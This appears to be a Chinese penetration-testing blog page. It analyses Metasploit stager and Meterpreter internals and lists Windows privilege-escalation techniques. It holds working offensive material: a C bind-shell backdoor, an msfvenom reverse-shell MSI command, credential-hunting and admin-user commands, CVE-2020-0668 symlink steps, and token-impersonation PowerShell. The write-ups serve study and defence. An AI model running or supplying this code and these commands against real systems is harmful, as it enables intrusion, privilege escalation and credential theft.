分类 内网渗透 下的文章

  • MSF 的 payload 分析


    执行方式上有 3 种 独立 (Single)、传输器 (Stager)、传输体 (Stage),前者单独执行,后两种共同执行。也有人直接分为两种:staged 和stageless,本质上是一样的。相关实现在 modules/payloads 下
    single:独立载荷,可直接植入目标系统并执行相应的程序
    
    stager:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。
    
    stage:传输体载荷,如 shell、meterpreter 等。在 stager 建立好稳定的连接后,攻击机将 stage 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stage。比如得到目标机的 shell,或者 meterpreter 控制程序运行。
    

    常用的就是 stager + stage ,类似 web 渗透中的小马 + 大马,重点关注一下 stager,以常用的反弹 shell 的 reverse_tcp 为例。源码地址 https://github.com/rapid7/metasploit-framework/blob/bdb729a43bfe4c178ab49cba25f022b01baed853/lib/msf/core/payload/windows/reverse_tcp.rb
      def generate_reverse_tcp(opts={})
        combined_asm = %Q^
          cld                    ; Clear the direction flag.
          call start             ; Call start, this pushes the address of 'api_call' onto the stack.
          #{asm_block_api}
          start:
            pop ebp
          #{asm_reverse_tcp(opts)}
          #{asm_block_recv(opts)}
        ^
        Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
      end
    

    重点看一下组成 shellcode 的 3 部分,asm_block_api 根据函数的 hash 搜索函数地址并调用,具体实现位于 lib/msf/core/payload/windows/block_api.rb
      def asm_block_api(opts={})
        Rex::Payloads::Shuffle.from_graphml_file(
          File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
          arch: ARCH_X86,
          name: 'api_call'
        )
      end
    

    asm_reverse_tcp(opts) 负责创建 TCP 连接,asm_block_recv(opts) 用来接收和处理 msf 发的数据,具体实现都在当前文件中。
    看一下实现流程,先执行 cld 确保字符串的解析方向,然后将 asm_block_api 的地址存到 ebp 中,这样只要调用 push 函数的 hash 值,接着 call ebp 就能调用这个函数。
    asm_reverse_tcp 部分就是用汇编实现了一个 tcp 的连接,大致流程:
    push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
    

    asm_block_recv 部分实现,先接收 4 字节的 length ,直接调用 VirtualAlloc 分配有 RWX 权限的内存用于保存 payload(会被杀软检测!)
    recv:
    ; Receive the size of the incoming second stage...
    push byte 0 ; flags
    push byte 4 ; length = sizeof( DWORD );
    push esi               ; the 4 byte buffer on the stack to hold the second stage length
    push edi               ; the saved socket
    push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
    call ebp               ; recv( s, &dwLength, 4, 0 );
    ; Alloc a RWX buffer for the second stage
    mov esi, [esi]         ; dereference the pointer to the second stage length
    push byte 0x40 ; PAGE_EXECUTE_READWRITE
    push 0x1000 ; MEM_COMMIT
    push esi               ; push the newly recieved second stage length.
    push byte 0 ; NULL as we dont care where the allocation is.
    push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
    call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    

    这一部分就是 windows 下 shellcode 的常规写法然后连续 xchg ebx, eax;push ebx 将这段内存地址(也就是 payload 地址)压入栈中,最后通过 ret 弹出,最后进入该地址执行。
    ; Receive the second stage and execute it...
    xchg ebx, eax          ; ebx = our new memory address for the new stage
    push ebx               ; push the address of the new stage so we can return into it
    read_more:               ;
    push byte 0 ; flags
    push esi               ; length
    push ebx               ; the current address into our second stage's RWX buffer
    push edi               ; the saved 
    push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
    call ebp               ; recv( s, buffer, length, 0 );
    add ebx, eax           ; buffer += bytes_received
    sub esi, eax           ; length -= bytes_received, will set flags
    jnz read_more          ; continue if we have more to read
    ret                    ; return into the second stage
    

    这里有个很有意思的地方,edi保存的是socket,原因是为什么可以先放一下。
    除了 msf 自带的,还有 cs 作者写的 metasploit-loader https://github.com/rsmudge/metasploit-loader,用 C 写的比较容易理解,但实际上和 msf 自带的在流程上没有什么区别。
    //主函数
    int main(int argc, char * argv[]) {
        ULONG32 size;
        char * buffer;
        //创建函数指针,方便XXOO
        void (*function)();
        winsock_init(); //套接字初始化
        //获取参数,这里随便写,接不接收无所谓,主要是传递远程主机IP和端口
        //这个可以事先定义好
        if (argc != 3) {
            printf("%s [host] [port] ^__^ \n", argv[0]);
            exit(1);
        }
    
        /*连接到处理程序,也就是远程主机 */
        SOCKET my_socket = my_connect(argv[1], atoi(argv[2]));
    
        /* 读取4字节长度
        *这里是meterpreter第一次发送过来的
        *4字节缓冲区大小2E840D00,大小可能会有所不同,当然也可以自己丢弃,自己定义一个大小
        */
        //是否报错
        //如果第一次不是接收的4字节那么就退出程序
        int count = recv(my_socket, (char *)&size, 4, 0);
        if (count != 4 || size <= 0)
            punt(my_socket, "read length value Error\n");
    
        /* 分配一个缓冲区 RWX buffer */
        buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (buffer == NULL)
            punt(my_socket, "could not alloc buffer\n");
    
        /* 
        *SOCKET赋值到EDI寄存器,装载到buffer[]中
        */
        //mov edi
        buffer[0] = 0xBF;
    
        /* 把我们的socket里的值复制到缓冲区中去*/
        memcpy(buffer + 1, &my_socket, 4);
    
        /* 读取字节到缓冲区
        *这里就循环接收DLL数据,直到接收完毕
        */
        count = recv_all(my_socket, buffer + 5, size);
    
        /* 将缓冲区作为函数并调用它。
        * 这里可以看作是shellcode的装载,
        * 因为这本身是一个DLL装载器,完成使命,控制权交给DLL,
        * 但本身不退出,除非迁移进程,靠DLL里函数,DLL在DLLMain里是循环接收指令的,直到遇到退出指令,
        * (void (*)())buffer的这种用法经常出现在shellcode中
        */
        function = (void (*)())buffer;
        function();
        return 0;
    }
    

    这里也出现了同样的问题,需要将 SOCKET 赋值到 edi 寄存器,装载到buffer[]中,和前面一样。
  • Meterpreter payload 分析


    在 staged 模式下,meterpreter 提供 stage,也就是具体的 payload,具体的实现使用了大量的反射 dll 注入技术,不会再磁盘上留下任何文件,直接载入内存,可以很好的规避杀软,而我们前文分析的 stager 文件则有很多特征,通常需要做免杀处理。
    扯远了,这里看 msf 中的具体实现,在 lib/msf/core/payload/windows/meterpreter_loader.rb 中的 stage_meterpreter 函数中
     def stage_meterpreter(opts={})
        # Exceptions will be thrown by the mixin if there are issues.
        dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))    #读取 metsrv.x86.dll
    
        asm_opts = {
          rdi_offset: offset,
          length:     dll.length,
          stageless:  opts[:stageless] == true
        }
    
        asm = asm_invoke_metsrv(asm_opts)   # 生成字节码
    
        # generate the bootstrap asm
        bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
    
        # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
        if bootstrap.length > 62
          raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
        end
        # 这一部分都是检查
        # patch the bootstrap code into the dll's DOS header...
        dll[ 0, bootstrap.length ] = bootstrap  # 替换 dll 头
    
        dll
      end
    

    挨个函数看,首先是 load_rdi_dll,读取了这个 dll 文件,返回文件和对应偏移量,这个 offset 对应的是 ReflectiveLoader导出函数的地址
      def load_rdi_dll(dll_path, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER)
        dll = ''
        ::File.open(dll_path, 'rb') { |f| dll = f.read }
    
        offset = parse_pe(dll, loader_name: loader_name, loader_ordinal: loader_ordinal)
    
        unless offset
          raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
        end
    
        return dll, offset
      end
    

    这个 offset 直接被传入了 asm_invoke_metsrv 中,首先是构造 MZ 头
      def asm_invoke_metsrv(opts={})
        asm = %Q^
            ; prologue
              dec ebp               ; 'M'
              pop edx               ; 'Z'
    

    这里的部分就是反射 dll 技术,加载 dll 到自身内存,最后返回 dllmain 的函数地址,存在 eax 中
              call $+5              ; call next instruction
              pop ebx               ; get the current location (+7 bytes)
              push edx              ; restore edx
              inc ebp               ; restore ebp
              push ebp              ; save ebp for later
              mov ebp, esp          ; set up a new stack frame
            ; Invoke ReflectiveLoader()
              ; add the offset to ReflectiveLoader() (0x????????)
              add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
              call ebx              ; invoke ReflectiveLoader()
            ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
              ; offset from ReflectiveLoader() to the end of the DLL
              add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
        ^
    

    这里的 edi 中存着的就是 socket 的地址,在前面的这句
    add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
    

    代码中,ebx 指向的是在 dll 加载空间的末尾,也就是说现在 socket 的地址被放到了 dll 加载空间的末尾。
     unless opts[:stageless] || opts[:force_write_handle] == true
          asm << %Q^
              mov [ebx], edi        ; write the current socket/handle to the config
          ^
        end
        # 
    

    前面提到过,eax 中存的是 dllmain 函数,在这里调用
        asm << %Q^
              push ebx              ; push the pointer to the configuration start
              push 4                ; indicate that we have attached
              push eax              ; push some arbitrary value for hInstance
              call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
        ^
      end
    

    ebx 中是什么还不知道,前面这只是生成 payload 的前半部分,在 stage_payload 中可以看出后面还加上了一些配置信息
      def stage_payload(opts={})
        stage_meterpreter(opts) + generate_config(opts)
    

    持续跟进 generate_config 函数,其中主要的操作就是将各种配置转化为字节码,在 session_block 和 transport_block 函数中,发现这里给有一段区域填充了 8 位的 0,给 socket 留了位置。
    也就是说在 mov edi, &socket 之后,ebx 指向的那块内存就从之前的 8 位 0,变成了 socket,从而让 ebx 指向了 socket 的地址。
        session_data = [
          0,                  # comms socket, patched in by the stager
          exit_func,          # exit function identifer
          opts[:expiration],  # Session expiry
          uuid,               # the UUID
          session_guid        # the Session GUID
        ]
    
        session_data.pack('QVVA*A*')
    

    放两张参考文献中的 dalao 的调试图:
    1106918-20200509173728840-254478172
    1106918-20200509173741504-441507510
    (ebx -> 006CAC05 -> 0150[socket] <- edi)
  • 反射 dll 分析


    相关代码在 https://github.com/rapid7/metasploit-payloads 中,看一下生成这个 metsrv.dll 的 metsrv.c
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
    {
        BOOL bReturnValue = TRUE;
    
        switch (dwReason)
        {
        case DLL_METASPLOIT_ATTACH:
            bReturnValue = Init((MetsrvConfig*)lpReserved);
            break;
        case DLL_QUERY_HMODULE:
            if (lpReserved != NULL)
                *(HMODULE*)lpReserved = hAppInstance;
            break;
        case DLL_PROCESS_ATTACH:
            hAppInstance = hinstDLL;
            break;
        case DLL_PROCESS_DETACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
            break;
        }
        return bReturnValue;
    }
    

    看一下 stage 中的调用 dllmain 的过程,其中 DLL_METASPLOIT_ATTACH 函数在 metsrv.c 中,而 config_ptr 传递的是前面的 push ebx,也就是 socket 句柄所在地址的那段数据的起始地址。
    call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
    

    在 DLL_METASPLOIT_ATTACH 分支中,会将 ebx 指向的这段地址中的数据转为 MetsrvConfig 结构体。
    typedef struct _MetsrvConfig
    {
        MetsrvSession session;
        MetsrvTransportCommon transports[1];  ///! Placeholder
    } MetsrvConfig;
    

    将这段内存(本来也是生成的 config)重新转化为 MetsrvConfig 类型,其中的变量在 payload 的生成选项里都有。
    既然发生了类型转换,那就看一下 edi 指向的这个 socket 在转换后被分配到了哪个变量。
     union
        {
            UINT_PTR handle;
            BYTE padding[8];
        } comms_handle;                       ///! Socket/handle for communications (if there is one).
    

    继续跟进 comms_handle,可以发现对这个联合体的调用都在 metsrv/server_setup.c 中,其中的 server_setup 函数在完成类型转换之后的 Init 中被调用。看一下调用了 comms_handle 的部分。
    ...
    dprintf("[SESSION] Comms handle: %u", config->session.comms_handle);
    ...
    
    dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
    if (remote->transport->set_handle)
    {
        remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
    }
    

    重点在这一句,将 remote->transport 设置为之前创建的 socket
    remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
    

    剩下的就是建立 tcp 连接的过程了,用的是前面创建的 socket 句柄。
  • 流量分析


    由 msf 发的包分 3 部分,首先是 4 字节的长度
    image-20220321113912197
    第二部分是修改了 DOS 头部的 metsrv.x86.dll,可以看到 MZ 头和 PE 头
    image-20220321114016082
    第三部分是配置数据
    image-20220321114254291
  • 参考文献


>

  • 关于 Windows 提权


    大致分为内核提权(利用 windows 底层的漏洞)和服务提权(windows 服务和相关软件由于配置不当产生的漏洞),这篇文章大致梳理了一下服务提权的几种常见打法。
  • 简单的关于 Windows 的访问控制模型


    windows 用户都有特定的访问令牌(Access Token),被访问的对象都有特定的安全描述符(Security Descriptor),判断用户的访问令牌能否通过安全描述符的层层检查,确定是否有访问权限。
    访问令牌在用户登录的时候,由系统从内部数据库中读取该账户的信息,然后用这些信息生成。此后这个用户启动的每一个进程都会获得这个令牌的副本,当线程去访问某个对象或执行某些操作的时候,Windows 就会对这个线程持有的令牌进行访问检查。
    安全描述符重点关注访问控制列表 ACL(Access Control List),在其中起判断作用的重点关注 3 个(访问控制项) ACE(Access Control Entry)
    第一个ACE拒绝Andrew账户对Object进行读取,写入和执行操作;
    第二个ACE允许Group A账户组中的所有账户对Object进行写入操作;
    第三个ACE允许任何账户对Object进行读取和执行操作;
    

    经过检查之后的线程就有了对应的访问权限。
  • 基础命令


    query user //查看用户登陆情况
    whoami //当前用户权限
    systeminfo //查看当前系统版本与补丁信息(利用系统较老,没有打对应补丁来进行提权)
    ver //查看当前服务器操作系统版本
    Net start //查看当前计算机开启服务名称
    
    #添加管理员用户
    net user username(用户名) password(密码) /add
    (先添加一个普通用户)
    net localgroup adminstrators username /add
    (把这个普通用户添加到管理员用户的组中)
    如果远程桌面连接不上可以添加远程桌面组
    net localgroup "Remote Desktop Users" username /add
    netstat -ano //查看端口情况
    tasklist //查看所有进程占用的端口
    taskkil /im 映像名称.exe /f //强制结束指定进程
    taskkil -PID pid号 //结束某个pid号的进程
    
  • 基础提权信息收集


    查询系统信息
    systeminfo 
    如果要查看特定的信息,可以使用
    systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
    主机名
    Hostname
    环境变量
    Set
    查看用户信息
    Net user
    查看服务pid号
    Tasklist /svc|find "TermService"
    netstat -ano|find "3389"
    查看系统名
    wmic os get caption
    查看补丁信息
    wmic qfe get Description,HotFixID,InstalledOn
    如果要定位到特定的补丁可以使用如下命令
    wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
    查看当前安装程序
    wmic product get name,version
    
  • 不带引号的服务路径


    当 windows 服务运行时,会发生以下两种情况之一:如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行,但是如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
    就是说在没有引号的情况下,如果路径中带空格,就会错误执行:
    C:\>"C:\Example\Sub Directory\example.exe"
    [*] Executed C:\Example\Sub Directory\example.exe
    C:\>C:\Example\Sub Directory\example.exe
    'C:\Example\Sub' is not recognized as an internal or external command, operable program or batch file.
    

    那么可以放置一个与第一个名称相同的恶意名称相同的 exe(例子中的 Sub),就可以越权执行了。
  • 不安全的服务权限


    现在的操作系统不会存在有漏洞的服务,所以,有漏洞的意思使我们可以再次配置某个服务的参数。
    可以用 sc 查询,配置,管理 windows 服务
    sc qc Spooler
    

    image-20220203222508677
    可以用 accesschk 检查每个用户拥有的权限和每个服务需要的权限。
    accesschk.exe -ucqv *        (列出所有服务)
    accesschk.exe -ucqv Spooler (查看指定服务)
    accesschk.exe -uwcqv "Authenticated Users" * (查看用户组对服务的权限)
    

    image-20220203223029613
    实操:手中只有 win7,暂时没有复现
    任何下图的访问权限都将给我们一个 SYSTEM 权限的 shell
    2
  • 服务路径权限可控


    注册表:由一系列配置单元配置集合组成,它们按以下方式分解:
    HKEY_CLASSES_ROOT - 文件类型的默认应用程序
    HKEY_CURRENT_USER - 当前用户的个人资料
    HKEY_LOCAL_MACHINE - 系统配置信息
    HKEY_USERS - 系统用户配置文件
    HKEY_CURRENT_CONFIG - 系统启动硬件配置文件
    

    在软件注册服务的时候,会在注册表中创建几个项,路径如下:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
    

    对注册表的查询可以用 SublnACL 完成,也可以使用AccessChk工具查询注册表。
    这时有两种提权思路;
    1. 直接修改注册表,也就是说注册表的修改权限当前用户可控,直接修改 ImagePath 的值,指向本地其他路径(传的?),但要是注册表都可控了此时的权限也大概够了。。。
    2. ImagePath 指向的目录权限可控,那么可以把软件原本的组件(.exe)换成我们恶意的程序,那么当软件启动的时候就能执行我们的?(这个方法的前提原理是:开机自启动服务的权限是 SYSTEM)。
  • 定时任务计划提权


    at 适用版本:Windows2000,2003,XP,win7,能把 Administrator 组下的权限提到 SYSTEM
    因为默认以 SYSTEM 权限定时任务计划(批处理/二进制文件)
    语法:at 时间 命令
    at 7:50 notepad.exe
    

    windows server 2012 中的 at:
    image-20220308163723576
    考虑用 schtasks 设置计划任务
    添加计划任务:
    schtasks /create /s 192.168.0.129 /tn test /sc onstart /tr c:\a.exe /ru system /f
    运行计划任务:
    schtasks /run /s 192.168.0.129 /i /tn "test"
    删除计划任务:
    schtasks /delete /s 192.168.0.129 /tn "test" /f
    删除 IPC$
    net use  \\192.168.0.129 /del /y
    

    image-20220308190248345
    注意:在使用schtasks命令的时候会在系统留下日志文件C:Windows\Tasks\SchedLgU.txt。
  • MSI安装策略提权(AlwaysInstallElevated)


    AlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。
    验证方式:
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    或:
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    

    如果找不到说明没漏洞,能用的话可以直接用 msf 生成对应木马:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.117.134 LPORT=443 -f msi-nouac -o lask.msi
    
  • 组策略首选项(GPP)漏洞


    客户端计算机定期使用当前登录用户凭据进行域控制,以身份验证,然后生成配置策略,可用于软件部署,配置启动脚本,映射网络共享,配置注册表配置单元,配置打印机,管理安全权限等。还可以为本地管理员帐户配置密码。这些策略文件存储在域控制器的SYSVOL共享中的一系列.xml文件中。
    详细部分见 GPP 漏洞及相关利用
  • 凭证窃取


    就是从主机上翻密码:
    unattend.xml
    GPP.xml
    SYSPREP.INF
    sysprep.xml
    其他各种配置文件
    日志文件
    注册表项
    文件如my_passwords.txt,my_passwords.xls等
    

    还有各种信息收集:
    dir C:\*vnc.ini /s /b /c
    dir C:\ /s /b /c | findstr /sr \*password\*
    findstr /si password \*.txt | \*.xml | \*.ini
    reg query HKLM /f password /t REG_SZ /s
    reg query HKCU /f password /t REG_SZ /s
    
  • CVE-2020-0668(利用符号提权)


    一个由符号连接导致的任意文件移动从而触发提权的漏洞。
    HKLM\SOFTWARE\Microsoft\Tracing 注册表项任意用户(Everyone)可写可读,Tracing注册表项主要用于Windows服务跟踪调试,调试过程中会以SYSTEM权限产生一个日志文件。
    将日志目录设置为 \RPC Control 对象目录的挂载点,然后创建两个符号链接:
    一个从 MODULE.LOG 链接到你控制的文件(大于 MaxFileSize,这样就会被移动并创建一个信的日志文件。)
    另一个从 MODULE.OLD 链接到文件系统中的任意文件(如C:\Windows\System32\WindowsCoreDeviceInfo.dll
    

    最后在 NT AUTHORITY\SYSTEM 权限下的一系列文件改动被触发,通过Update Session Orchestrator 服务来执行任意命令。
     \RPC Control\RASTAPI.LOG -> \??\C:\EXPLOIT\FakeDll.dll (owner = current user)
    \RPC Control\RASTAPI.OLD -> \??\C:\Windows\System32\WindowsCoreDeviceInfo.dll
    

    由此可将 DLL 文件写入 C:\Windows\system32\ 目录
  • 参考文献:


  • 命名管道基础


    是可以单向或双面再服务器和一个或多个客户端之间进行通讯的管道,命名管道的所有实例拥有相同的名称,但每个实例都有自己的缓冲区和句柄,用来为不同客户端通讯提供独立管道。
    命名管道的名称在本系统中是唯一的。
    命名管道可以被任意符合权限要求的进程访问。
    命名管道只能在本地创建。
    命名管道的客户端可以是本地进程(本地访问:\.\pipe\PipeName)或者是远程进程(访问远程:\ServerName\pipe\PipeName)。
    命名管道使用比匿名管道灵活,服务端、客户端可以是任意进程,匿名管道一般情况下用于父子进程通讯。
    

    列出当前计算机上的所有命名管道(powershell):
    [System.IO.Directory]::GetFiles("\\.\\pipe\\")
    
  • 用管道实现简单 shell 后门


    一个正向 shell,被控者本地监听一个端口,由攻击者主动连接。
    image-20220315225501477
    攻击者的数据从通过 socket 传入被控者的 buffer,buffer 通过一个管道写入,CMD 从该管道的另一端读取,并作为输入。
    执行后,CMD 将输出写入另一个管道,由 buffer 从另一端读取后,通过 socket 发送给 hacker。
    windows 管道分为命名管道和匿名管道,其中匿名管道只能实现本地机器上两个进程的通信,通常用于父进程和子进程之间传送数据,这里采用匿名管道实现。
    代码(网上的代码有各种奇奇怪怪的 bug,最后写出来的也是个代码健壮性几乎为 0 的东西,但当作学习还是勉强能冲的)
    #include <stdio.h>
    #include <winsock2.h>
    #pragma comment (lib, "ws2_32")
    
    int main()
    {
        WSADATA wsa;
    
        WSAStartup(MAKEWORD(2, 2), &wsa);
    
        // 创建 TCP 套接字
        SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
        // 绑定套接字
        sockaddr_in sock;
        sock.sin_family = AF_INET;
        sock.sin_addr.S_un.S_addr = INADDR_ANY;
        sock.sin_port = htons(29999);
        bind(s, (SOCKADDR*)&sock, sizeof(SOCKADDR));
    
        // 设置监听
        listen(s, 5);
        // 接收客户端请求
        sockaddr_in sockClient;
        int SaddrSize = sizeof(SOCKADDR);
        SOCKET sc = accept(s, (SOCKADDR*)&sockClient, &SaddrSize);
    
        // 创建管道
        SECURITY_ATTRIBUTES sa1, sa2;
        HANDLE hRead1, hRead2, hWrite1, hWrite2;
    
        sa1.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa1.lpSecurityDescriptor = NULL;
        sa1.bInheritHandle = TRUE;
    
        sa2.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa2.lpSecurityDescriptor = NULL;
        sa2.bInheritHandle = TRUE;
    
        CreatePipe(&hRead1, &hWrite1, &sa1, 0);
        CreatePipe(&hRead2, &hWrite2, &sa2, 0);
    
        // 创建用于通信的子进程
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
    
        ZeroMemory(&si, sizeof(STARTUPINFO));
        si.cb = sizeof(STARTUPINFO);
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        // 为了测试设置 SW_SHOW 实际上应该用 SW_HIDE
        si.wShowWindow = SW_SHOW;
        // 替换标准输入输出句柄
        si.hStdInput = hRead1;
        si.hStdOutput = hWrite2;
        si.hStdError = hWrite2;
    
        char* szCmd = "cmd";
    
        CreateProcess(NULL, TEXT("cmd"), NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
        unsigned long dwBytes = 0;
        BOOL bRet = FALSE;
        const int MAXSIZE = 0x1000;
        char szBuffer[MAXSIZE] = "\0";
    
        while (TRUE)
        {
            ZeroMemory(szBuffer, MAXSIZE);
            bRet = PeekNamedPipe(hRead2, szBuffer, MAXSIZE, &dwBytes, 0, 0);
    
            if (dwBytes)
            {
                ReadFile(hRead2, szBuffer, dwBytes, &dwBytes, NULL);
                printf("send:%s", szBuffer);
                int len = strlen(szBuffer);
                int iCurrSend = send(sc, szBuffer, len-1, 0);
                // 不知道为什么不-1的话链接会直接断掉
                if (iCurrSend <= 0)
                {
                    printf("send error %d", WSAGetLastError());
                    goto exit;
                }
            }
            else 
            {
                dwBytes = recv(sc, szBuffer, 1024, 0);
                if (dwBytes)
                {
                    printf("recv:%s", szBuffer);
                    WriteFile(hWrite1, szBuffer, strlen(szBuffer), &dwBytes, NULL);
                }
            }
        }
    exit:
        closesocket(s);
        CloseHandle(hRead1);
        CloseHandle(hRead2);
        CloseHandle(hWrite1);
        CloseHandle(hWrite2);
        WSACleanup();
        return 0;
    }
    
  • getsystem 原理


    命名管道有一个特点,就是允许服务端进程模拟连接到客户端进程。可以利用 ImpersonateNamedPipeClient 这个 API,通过命名管道的服务端进程模拟客户端进程的访问令牌,也就说如果有一个非管理员用户身份运行的命名管道服务器,并有一个管理员的进程连接到这个管道,那么理论上就可以冒充管理员用户。
    API 的官方描述:
    When this function is called, the named-pipe file system changes the thread of the calling process to start impersonating the security context of the last message read from the pipe. Only the server end of the pipe can call this function
    

    使用的限制条件(满足其一):
    1.请求的令牌模拟级别小于 SecurityImpersonation,如 SecurityIdentification 或 securityyanonymous。
    2.调用方具有 SeImpersonatePrivilege 权限(通常需要 admin 用户)
    3.一个进程(或调用者登录会话中的另一个进程)通过 LogonUser 或 LsaLogonUser 函数使用显式凭据创建令牌。
    4.经过身份验证的标识与调用方相同。
    

    image-20220318151741588
    具体的实现过程:
    1.创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
    2.创建一个进程,并让进程创建命名管道。
    3.让之前的以system权限启动的程序启动并连接这个命名管道。
    4.利用ImpersonateNamedPipeClient()函数生成system权限的token。
    5.利用system权限的token启动cmd.exe。
    

    通过 sysmon 可以看到一部分的实现:
    image-20220318172713799
    具体也可以用这个脚本实现全过程 https://github.com/decoder-it/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1
    image-20220318174705913
    这里先创建了一个 named pipe security object ,并实例化了命名管道 "pipedummy",关联访问控制列表
    $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
    $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", 
    "ReadWrite", "Allow" )
    $PipeSecurity.AddAccessRule($AccessRule)
    
    $pipename="pipedummy"
    $pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipename,"InOut",
    10, "Byte", "None", 1024, 1024, $PipeSecurity)
    $PipeHandle = $pipe.SafePipeHandle.DangerousGetHandle()
    

    进入等待连接,客户端连接后就读取发来的数据
    $pipe.WaitForConnection()
    
    $pipeReader = new-object System.IO.StreamReader($pipe)
    $Null = $pipereader.ReadToEnd()
    

    然后用 system 权限连接管道(主机无法直接用 system 登录,这里用了 msf 中的 shell)。
    echo test > \\.\pipe\dummypipe
    

    image-20220318181651093
    脚本中在当前线程中模拟客户端(调用 ImpersonateNamedPipeClient)
    #we are still Attacker
    $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
    #now  we are impersonating the user (Victim),
    $user=[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
    echo $user
    # everything we do BEFORE RevertToSelf is done on behalf that user
    $RetVal = $RevertToSelf.Invoke()
    # we are again Attacker
    

    接着可以获得线程(victim,这里是 system 权限)的令牌。
    #we are Victim
    #get the current thread handle
    $ThreadHandle = $GetCurrentThread.Invoke()
    [IntPtr]$ThreadToken = [IntPtr]::Zero
    #get the token of victim's thread
    [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, 
    $Win32Constants.TOKEN_ALL_ACCESS, $true, [Ref]$ThreadToken)
    

    然后用这个令牌的身份启动一个新的进程,通过 CreateProcessWithToken API,但是这个 API 的调用需要 SeImpersonatePrivilege 权限,这也对应了前面的条件限制。
    $RetVal = $RevertToSelf.Invoke()
    # we are again Attacker
    $pipe.close()
    #run a process as the previously impersonated user
    $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)
    [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)
    $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null
    [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct
    $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
    [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
    $memset.Invoke($ProcessInfoPtr, 0, $ProcessInfoSize) | Out-Null
    $processname="c:\windows\system32\cmd.exe"
    $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($processname)
    $ProcessArgsPtr = [IntPtr]::Zero
    
    $Success = $CreateProcessWithTokenW.Invoke($ThreadToken, 0x0,
    $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, 
    $StartupInfoPtr, $ProcessInfoPtr)
    
    $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
    echo "CreateProcessWithToken: $Success  $ErrorCode"
    

    然后就可以看到弹出的 system 的 cmd了
    image-20220318181709330
    附注: CreateProcessWithToken ()依赖于“Secondary Logon Service(辅助登录服务)”,因此如果禁用此服务,调用将失败。(机翻)
    在 msf 也能看到类似操作:
    image-20220318183320801
  • 参考文献


  • 外网 weblogic 服务器


    不知道为什么 ping 不通,直接访问 7001,上一波 weblogic 扫描器直接拿下
